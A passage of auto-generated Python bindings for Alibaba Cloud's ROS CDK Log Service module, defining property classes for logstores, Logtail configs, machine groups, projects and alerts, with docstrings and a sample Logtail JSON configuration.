ros_cdk_core.IResolvable]], result) @builtins.property def enable_tracking( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: '''Property enableTracking: Whether to enable WebTracking, which supports fast capture of various browsers and iOS/Android/APP access information. Default to false. ''' result = self._values.get("enable_tracking") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def encrypt_conf( self, ) -> typing.Optional[typing.Union[ros_cdk_core.IResolvable, "RosLogstore.EncryptConfProperty"]]: '''Property encryptConf: Data encryption config.''' result = self._values.get("encrypt_conf") return typing.cast(typing.Optional[typing.Union[ros_cdk_core.IResolvable, "RosLogstore.EncryptConfProperty"]], result) @builtins.property def max_split_shard( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: '''Property maxSplitShard: The maximum number of shards when splitting automatically. Must be specified if AutoSplit is set to true. Allowed Values: 1-64. ''' result = self._values.get("max_split_shard") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def preserve_storage( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: '''Property preserveStorage: Whether to keep the log permanently. If set to true, TTL will be ignored. Default to false. ''' result = self._values.get("preserve_storage") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def shard_count( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: '''Property shardCount: The number of Shards. Allowed Values: 1-100, default to 2. ''' result = self._values.get("shard_count") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def ttl( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: '''Property ttl: The lifecycle of log in the logstore in days. Allowed Values: 1-3600, default to 30. ''' result = self._values.get("ttl") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "LogstoreProps(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) class LogtailConfig( ros_cdk_core.Resource, metaclass=jsii.JSIIMeta, jsii_type="@alicloud/ros-cdk-sls.LogtailConfig", ): '''A ROS resource type: ``ALIYUN::SLS::LogtailConfig``.''' def __init__( self, scope: ros_cdk_core.Construct, id: builtins.str, props: "LogtailConfigProps", enable_resource_property_constraint: typing.Optional[builtins.bool] = None, ) -> None: '''Create a new ``ALIYUN::SLS::LogtailConfig``. Param scope - scope in which this resource is defined Param id - scoped id of the resource Param props - resource properties :param scope: - :param id: - :param props: - :param enable_resource_property_constraint: - ''' jsii.create(self.__class__, self, [scope, id, props, enable_resource_property_constraint]) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrAppliedMachineGroups") def attr_applied_machine_groups(self) -> ros_cdk_core.IResolvable: '''Attribute AppliedMachineGroups: Applied machine groups.''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrAppliedMachineGroups")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrEndpoint") def attr_endpoint(self) -> ros_cdk_core.IResolvable: '''Attribute Endpoint: Endpoint address.''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrEndpoint")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrLogtailConfigName") def attr_logtail_config_name(self) -> ros_cdk_core.IResolvable: '''Attribute LogtailConfigName: Logtail config name.''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrLogtailConfigName")) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.LogtailConfigProps", jsii_struct_bases=[], name_mapping={ "logstore_name": "logstoreName", "logtail_config_name": "logtailConfigName", "project_name": "projectName", "clone_from": "cloneFrom", "raw_config_data": "rawConfigData", }, ) class LogtailConfigProps: def __init__( self, *, logstore_name: typing.Union[builtins.str, ros_cdk_core.IResolvable], logtail_config_name: typing.Union[builtins.str, ros_cdk_core.IResolvable], project_name: typing.Union[builtins.str, ros_cdk_core.IResolvable], clone_from: typing.Optional[typing.Union[ros_cdk_core.IResolvable, "RosLogtailConfig.CloneFromProperty"]] = None, raw_config_data: typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.Mapping[builtins.str, typing.Any]]] = None, ) -> None: '''Properties for defining a ``ALIYUN::SLS::LogtailConfig``. :param logstore_name: Property logstoreName: Logstore name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. :param logtail_config_name: Property logtailConfigName: Logtail config name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. :param project_name: Property projectName: Project name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. :param clone_from: Property cloneFrom: Clone logtail config data from existing logtail config. Either CloneFrom or RawConfigData must be specified. If CloneFrom and RawConfigData are both specified, logtail config data will be merged from both with RawConfigData first. :param raw_config_data: Property rawConfigData: The format is the same as the response of SLS API GetConfig. Either CloneFrom or RawConfigData must be specified. If CloneFrom and RawConfigData are both specified, logtail config data will be merged from both with RawConfigData first. configName, outputType, outputDetail in data will be ignored.For example: { "configName": "test-logtail-config", "createTime": 1574843554, "inputDetail": { "acceptNoEnoughKeys": false, "adjustTimezone": false, "advanced": { "force_multiconfig": false }, "autoExtend": true, "delayAlarmBytes": 0, "delaySkipBytes": 0, "discardNonUtf8": false, "discardUnmatch": false, "dockerExcludeEnv": {}, "dockerExcludeLabel": {}, "dockerFile": false, "dockerIncludeEnv": {}, "dockerIncludeLabel": {}, "enableRawLog": false, "enableTag": false, "fileEncoding": "utf8", "filePattern": "test.log*", "filterKey": [], "filterRegex": [], "key": [ "time", "logger", "level", "request_id", "user_id", "region_id", "content" ], "localStorage": true, "logPath": "/var/log/test", "logTimezone": "", "logType": "delimiter_log", "maxDepth": 100, "maxSendRate": -1, "mergeType": "topic", "preserve": true, "preserveDepth": 1, "priority": 0, "quote": "\\u0001", "sendRateExpire": 0, "sensitive_keys": [], "separator": ",,,", "shardHashKey": [], "tailExisted": false, "timeFormat": "", "timeKey": "", "topicFormat": "none" }, "inputType": "file", "lastModifyTime": 1574843554, "logSample": "2019-11-27 10:48:23,160,,,MAIN,,,INFO,,,98DCC51D-BE5D-49C7-B3FD-37B2BAEFB296,,,123456789,,,cn-hangzhou,,,this is a simple test.", "outputDetail": { "endpoint": "cn-hangzhou-intranet.log.aliyuncs.com", "logstoreName": "test-logstore", "region": "cn-hangzhou" }, "outputType": "LogService" } ''' self._values: typing.Dict[str, typing.Any] = { "logstore_name": logstore_name, "logtail_config_name": logtail_config_name, "project_name": project_name, } if clone_from is not None: self._values["clone_from"] = clone_from if raw_config_data is not None: self._values["raw_config_data"] = raw_config_data @builtins.property def logstore_name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: '''Property logstoreName: Logstore name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. ''' result = self._values.get("logstore_name") assert result is not None, "Required property 'logstore_name' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def logtail_config_name( self, ) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: '''Property logtailConfigName: Logtail config name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. ''' result = self._values.get("logtail_config_name") assert result is not None, "Required property 'logtail_config_name' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def project_name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: '''Property projectName: Project name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. ''' result = self._values.get("project_name") assert result is not None, "Required property 'project_name' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def clone_from( self, ) -> typing.Optional[typing.Union[ros_cdk_core.IResolvable, "RosLogtailConfig.CloneFromProperty"]]: '''Property cloneFrom: Clone logtail config data from existing logtail config. Either CloneFrom or RawConfigData must be specified. If CloneFrom and RawConfigData are both specified, logtail config data will be merged from both with RawConfigData first. ''' result = self._values.get("clone_from") return typing.cast(typing.Optional[typing.Union[ros_cdk_core.IResolvable, "RosLogtailConfig.CloneFromProperty"]], result) @builtins.property def raw_config_data( self, ) -> typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.Mapping[builtins.str, typing.Any]]]: '''Property rawConfigData: The format is the same as the response of SLS API GetConfig. Either CloneFrom or RawConfigData must be specified. If CloneFrom and RawConfigData are both specified, logtail config data will be merged from both with RawConfigData first. configName, outputType, outputDetail in data will be ignored.For example: { "configName": "test-logtail-config", "createTime": 1574843554, "inputDetail": { "acceptNoEnoughKeys": false, "adjustTimezone": false, "advanced": { "force_multiconfig": false }, "autoExtend": true, "delayAlarmBytes": 0, "delaySkipBytes": 0, "discardNonUtf8": false, "discardUnmatch": false, "dockerExcludeEnv": {}, "dockerExcludeLabel": {}, "dockerFile": false, "dockerIncludeEnv": {}, "dockerIncludeLabel": {}, "enableRawLog": false, "enableTag": false, "fileEncoding": "utf8", "filePattern": "test.log*", "filterKey": [], "filterRegex": [], "key": [ "time", "logger", "level", "request_id", "user_id", "region_id", "content" ], "localStorage": true, "logPath": "/var/log/test", "logTimezone": "", "logType": "delimiter_log", "maxDepth": 100, "maxSendRate": -1, "mergeType": "topic", "preserve": true, "preserveDepth": 1, "priority": 0, "quote": "\\u0001", "sendRateExpire": 0, "sensitive_keys": [], "separator": ",,,", "shardHashKey": [], "tailExisted": false, "timeFormat": "", "timeKey": "", "topicFormat": "none" }, "inputType": "file", "lastModifyTime": 1574843554, "logSample": "2019-11-27 10:48:23,160,,,MAIN,,,INFO,,,98DCC51D-BE5D-49C7-B3FD-37B2BAEFB296,,,123456789,,,cn-hangzhou,,,this is a simple test.", "outputDetail": { "endpoint": "cn-hangzhou-intranet.log.aliyuncs.com", "logstoreName": "test-logstore", "region": "cn-hangzhou" }, "outputType": "LogService" } ''' result = self._values.get("raw_config_data") return typing.cast(typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.Mapping[builtins.str, typing.Any]]], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "LogtailConfigProps(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) class MachineGroup( ros_cdk_core.Resource, metaclass=jsii.JSIIMeta, jsii_type="@alicloud/ros-cdk-sls.MachineGroup", ): '''A ROS resource type: ``ALIYUN::SLS::MachineGroup``.''' def __init__( self, scope: ros_cdk_core.Construct, id: builtins.str, props: typing.Optional["MachineGroupProps"] = None, enable_resource_property_constraint: typing.Optional[builtins.bool] = None, ) -> None: '''Create a new ``ALIYUN::SLS::MachineGroup``. Param scope - scope in which this resource is defined Param id - scoped id of the resource Param props - resource properties :param scope: - :param id: - :param props: - :param enable_resource_property_constraint: - ''' jsii.create(self.__class__, self, [scope, id, props, enable_resource_property_constraint]) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrGroupName") def attr_group_name(self) -> ros_cdk_core.IResolvable: '''Attribute GroupName: GroupName of SLS.''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrGroupName")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrProjectName") def attr_project_name(self) -> ros_cdk_core.IResolvable: '''Attribute ProjectName: ProjectName of SLS.''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrProjectName")) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.MachineGroupProps", jsii_struct_bases=[], name_mapping={ "group_attribute": "groupAttribute", "group_name": "groupName", "group_type": "groupType", "machine_identify_type": "machineIdentifyType", "machine_list": "machineList", "project_name": "projectName", }, ) class MachineGroupProps: def __init__( self, *, group_attribute: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, group_name: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, group_type: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, machine_identify_type: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, machine_list: typing.Optional[typing.Union[typing.Sequence[typing.Any], ros_cdk_core.IResolvable]] = None, project_name: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, ) -> None: '''Properties for defining a ``ALIYUN::SLS::MachineGroup``. :param group_attribute: Property groupAttribute: Group attribute, default is null. The object value is groupToic and externalName :param group_name: Property groupName: Display name of the group name, the Project only. [2, 128] English or Chinese characters, must start with a letter or Chinese in size, can contain numbers, '_' or '.', '-' :param group_type: Property groupType: MachineGroup type, the value is empty or Armory. :param machine_identify_type: Property machineIdentifyType: Machine indentify type, the value is 'ip' or 'userdefined'. :param machine_list: Property machineList: The machine tag, the value is ip or userdefined-id. :param project_name: Property projectName: MachineGroup created in project. ''' self._values: typing.Dict[str, typing.Any] = {} if group_attribute is not None: self._values["group_attribute"] = group_attribute if group_name is not None: self._values["group_name"] = group_name if group_type is not None: self._values["group_type"] = group_type if machine_identify_type is not None: self._values["machine_identify_type"] = machine_identify_type if machine_list is not None: self._values["machine_list"] = machine_list if project_name is not None: self._values["project_name"] = project_name @builtins.property def group_attribute( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: '''Property groupAttribute: Group attribute, default is null. The object value is groupToic and externalName ''' result = self._values.get("group_attribute") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def group_name( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: '''Property groupName: Display name of the group name, the Project only. [2, 128] English or Chinese characters, must start with a letter or Chinese in size, can contain numbers, '_' or '.', '-' ''' result = self._values.get("group_name") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def group_type( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: '''Property groupType: MachineGroup type, the value is empty or Armory.''' result = self._values.get("group_type") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def machine_identify_type( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: '''Property machineIdentifyType: Machine indentify type, the value is 'ip' or 'userdefined'.''' result = self._values.get("machine_identify_type") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def machine_list( self, ) -> typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]]: '''Property machineList: The machine tag, the value is ip or userdefined-id.''' result = self._values.get("machine_list") return typing.cast(typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]], result) @builtins.property def project_name( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: '''Property projectName: MachineGroup created in project.''' result = self._values.get("project_name") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "MachineGroupProps(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) class Project( ros_cdk_core.Resource, metaclass=jsii.JSIIMeta, jsii_type="@alicloud/ros-cdk-sls.Project", ): '''A ROS resource type: ``ALIYUN::SLS::Project``.''' def __init__( self, scope: ros_cdk_core.Construct, id: builtins.str, props: "ProjectProps", enable_resource_property_constraint: typing.Optional[builtins.bool] = None, ) -> None: '''Create a new ``ALIYUN::SLS::Project``. Param scope - scope in which this resource is defined Param id - scoped id of the resource Param props - resource properties :param scope: - :param id: - :param props: - :param enable_resource_property_constraint: - ''' jsii.create(self.__class__, self, [scope, id, props, enable_resource_property_constraint]) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrName") def attr_name(self) -> ros_cdk_core.IResolvable: '''Attribute Name: Project name.''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrName")) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.ProjectProps", jsii_struct_bases=[], name_mapping={"name": "name", "description": "description", "tags": "tags"}, ) class ProjectProps: def __init__( self, *, name: typing.Union[builtins.str, ros_cdk_core.IResolvable], description: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, tags: typing.Optional[typing.Sequence["RosProject.TagsProperty"]] = None, ) -> None: '''Properties for defining a ``ALIYUN::SLS::Project``. :param name: Property name: Project name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. :param description: Property description: Project description: <>'"\\ is not supported, up to 64 characters. :param tags: Property tags: Tags to attach to project. Max support 20 tags to add during create project. Each tag with two properties Key and Value, and Key is required. ''' self._values: typing.Dict[str, typing.Any] = { "name": name, } if description is not None: self._values["description"] = description if tags is not None: self._values["tags"] = tags @builtins.property def name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: '''Property name: Project name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. ''' result = self._values.get("name") assert result is not None, "Required property 'name' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def description( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: '''Property description: Project description: <>'"\\ is not supported, up to 64 characters.''' result = self._values.get("description") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def tags(self) -> typing.Optional[typing.List["RosProject.TagsProperty"]]: '''Property tags: Tags to attach to project. Max support 20 tags to add during create project. Each tag with two properties Key and Value, and Key is required. ''' result = self._values.get("tags") return typing.cast(typing.Optional[typing.List["RosProject.TagsProperty"]], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "ProjectProps(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) class RosAlert( ros_cdk_core.RosResource, metaclass=jsii.JSIIMeta, jsii_type="@alicloud/ros-cdk-sls.RosAlert", ): '''A ROS template type: ``ALIYUN::SLS::Alert``.''' def __init__( self, scope: ros_cdk_core.Construct, id: builtins.str, props: "RosAlertProps", enable_resource_property_constraint: builtins.bool, ) -> None: '''Create a new ``ALIYUN::SLS::Alert``. :param scope: - scope in which this resource is defined. :param id: - scoped id of the resource. :param props: - resource properties. :param enable_resource_property_constraint: - ''' jsii.create(self.__class__, self, [scope, id, props, enable_resource_property_constraint]) @jsii.member(jsii_name="renderProperties") def _render_properties( self, props: typing.Mapping[builtins.str, typing.Any], ) -> typing.Mapping[builtins.str, typing.Any]: ''' :param props: - ''' return typing.cast(typing.Mapping[builtins.str, typing.Any], jsii.invoke(self, "renderProperties", [props])) @jsii.python.classproperty # type: ignore[misc] @jsii.member(jsii_name="ROS_RESOURCE_TYPE_NAME") def ROS_RESOURCE_TYPE_NAME(cls) -> builtins.str: '''The resource type name for this resource class.''' return typing.cast(builtins.str, jsii.sget(cls, "ROS_RESOURCE_TYPE_NAME")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrName") def attr_name(self) -> ros_cdk_core.IResolvable: ''' :Attribute: Name: Alert name. ''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrName")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="rosProperties") def _ros_properties(self) -> typing.Mapping[builtins.str, typing.Any]: return typing.cast(typing.Mapping[builtins.str, typing.Any], jsii.get(self, "rosProperties")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="detail") def detail( self, ) -> typing.Union["RosAlert.DetailProperty", ros_cdk_core.IResolvable]: ''' :Property: detail: ''' return typing.cast(typing.Union["RosAlert.DetailProperty", ros_cdk_core.IResolvable], jsii.get(self, "detail")) @detail.setter def detail( self, value: typing.Union["RosAlert.DetailProperty", ros_cdk_core.IResolvable], ) -> None: jsii.set(self, "detail", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="enableResourcePropertyConstraint") def enable_resource_property_constraint(self) -> builtins.bool: return typing.cast(builtins.bool, jsii.get(self, "enableResourcePropertyConstraint")) @enable_resource_property_constraint.setter def enable_resource_property_constraint(self, value: builtins.bool) -> None: jsii.set(self, "enableResourcePropertyConstraint", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="project") def project(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: project: Project name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. ''' return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], jsii.get(self, "project")) @project.setter def project( self, value: typing.Union[builtins.str, ros_cdk_core.IResolvable], ) -> None: jsii.set(self, "project", value) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.RosAlert.ConfigurationProperty", jsii_struct_bases=[], name_mapping={ "condition": "condition", "dashboard": "dashboard", "query_list": "queryList", "throttling": "throttling", "notification_list": "notificationList", "notify_threshold": "notifyThreshold", }, ) class ConfigurationProperty: def __init__( self, *, condition: typing.Union[builtins.str, ros_cdk_core.IResolvable], dashboard: typing.Union[builtins.str, ros_cdk_core.IResolvable], query_list: typing.Union[ros_cdk_core.IResolvable, typing.Sequence[typing.Union[ros_cdk_core.IResolvable, "RosAlert.QueryListProperty"]]], throttling: typing.Union[builtins.str, ros_cdk_core.IResolvable], notification_list: typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.Sequence[typing.Union[ros_cdk_core.IResolvable, "RosAlert.NotificationListProperty"]]]] = None, notify_threshold: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, ) -> None: ''' :param condition: :param dashboard: :param query_list: :param throttling: :param notification_list: :param notify_threshold: ''' self._values: typing.Dict[str, typing.Any] = { "condition": condition, "dashboard": dashboard, "query_list": query_list, "throttling": throttling, } if notification_list is not None: self._values["notification_list"] = notification_list if notify_threshold is not None: self._values["notify_threshold"] = notify_threshold @builtins.property def condition(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: condition: he condition that is required to trigger an alert. Log Service triggers an alert if the trigger condition is met. For example, you can set the trigger condition to pv%100 > 0 && uv > 0. ''' result = self._values.get("condition") assert result is not None, "Required property 'condition' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def dashboard(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: dashboard: Alarm associated dashboard. ''' result = self._values.get("dashboard") assert result is not None, "Required property 'dashboard' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def query_list( self, ) -> typing.Union[ros_cdk_core.IResolvable, typing.List[typing.Union[ros_cdk_core.IResolvable, "RosAlert.QueryListProperty"]]]: ''' :Property: queryList: ''' result = self._values.get("query_list") assert result is not None, "Required property 'query_list' is missing" return typing.cast(typing.Union[ros_cdk_core.IResolvable, typing.List[typing.Union[ros_cdk_core.IResolvable, "RosAlert.QueryListProperty"]]], result) @builtins.property def throttling(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: throttling: Notification interval, default is no interval. ''' result = self._values.get("throttling") assert result is not None, "Required property 'throttling' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def notification_list( self, ) -> typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.List[typing.Union[ros_cdk_core.IResolvable, "RosAlert.NotificationListProperty"]]]]: ''' :Property: notificationList: ''' result = self._values.get("notification_list") return typing.cast(typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.List[typing.Union[ros_cdk_core.IResolvable, "RosAlert.NotificationListProperty"]]]], result) @builtins.property def notify_threshold( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: notifyThreshold: The notification threshold, which will not be notified until the number of triggers is reached. ''' result = self._values.get("notify_threshold") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "ConfigurationProperty(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.RosAlert.DetailProperty", jsii_struct_bases=[], name_mapping={ "configuration": "configuration", "display_name": "displayName", "name": "name", "schedule": "schedule", "description": "description", "state": "state", "type": "type", }, ) class DetailProperty: def __init__( self, *, configuration: typing.Union[ros_cdk_core.IResolvable, "RosAlert.ConfigurationProperty"], display_name: typing.Union[builtins.str, ros_cdk_core.IResolvable], name: typing.Union[builtins.str, ros_cdk_core.IResolvable], schedule: typing.Union[ros_cdk_core.IResolvable, "RosAlert.ScheduleProperty"], description: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, state: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, type: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, ) -> None: ''' :param configuration: :param display_name: :param name: :param schedule: :param description: :param state: :param type: ''' self._values: typing.Dict[str, typing.Any] = { "configuration": configuration, "display_name": display_name, "name": name, "schedule": schedule, } if description is not None: self._values["description"] = description if state is not None: self._values["state"] = state if type is not None: self._values["type"] = type @builtins.property def configuration( self, ) -> typing.Union[ros_cdk_core.IResolvable, "RosAlert.ConfigurationProperty"]: ''' :Property: configuration: ''' result = self._values.get("configuration") assert result is not None, "Required property 'configuration' is missing" return typing.cast(typing.Union[ros_cdk_core.IResolvable, "RosAlert.ConfigurationProperty"], result) @builtins.property def display_name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: displayName: Alert name display in console. The name length is 1-64 characters. ''' result = self._values.get("display_name") assert result is not None, "Required property 'display_name' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: name: Alert name. ''' result = self._values.get("name") assert result is not None, "Required property 'name' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def schedule( self, ) -> typing.Union[ros_cdk_core.IResolvable, "RosAlert.ScheduleProperty"]: ''' :Property: schedule: The interval at which Log Service evaluates the alert rule. Note During an alert rule evaluation, if a query returns more than 100 log entries, Log Service checks only the first 100 log entries. ''' result = self._values.get("schedule") assert result is not None, "Required property 'schedule' is missing" return typing.cast(typing.Union[ros_cdk_core.IResolvable, "RosAlert.ScheduleProperty"], result) @builtins.property def description( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: description: Description of the alert. ''' result = self._values.get("description") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def state( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: state: ''' result = self._values.get("state") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def type( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: type: ''' result = self._values.get("type") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "DetailProperty(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.RosAlert.NotificationListProperty", jsii_struct_bases=[], name_mapping={ "type": "type", "content": "content", "email_list": "emailList", "mobile_list": "mobileList", "service_uri": "serviceUri", }, ) class NotificationListProperty: def __init__( self, *, type: typing.Union[builtins.str, ros_cdk_core.IResolvable], content: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, email_list: typing.Optional[typing.Union[typing.Sequence[typing.Any], ros_cdk_core.IResolvable]] = None, mobile_list: typing.Optional[typing.Union[typing.Sequence[typing.Any], ros_cdk_core.IResolvable]] = None, service_uri: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, ) -> None: ''' :param type: :param content: :param email_list: :param mobile_list: :param service_uri: ''' self._values: typing.Dict[str, typing.Any] = { "type": type, } if content is not None: self._values["content"] = content if email_list is not None: self._values["email_list"] = email_list if mobile_list is not None: self._values["mobile_list"] = mobile_list if service_uri is not None: self._values["service_uri"] = service_uri @builtins.property def type(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: type: This topic describes how to configure a notification method. Log Service can send alert notifications by using one or more methods. Available notification methods include emails, DingTalk chatbot webhooks, custom webhooks, and Alibaba Cloud Message Center. 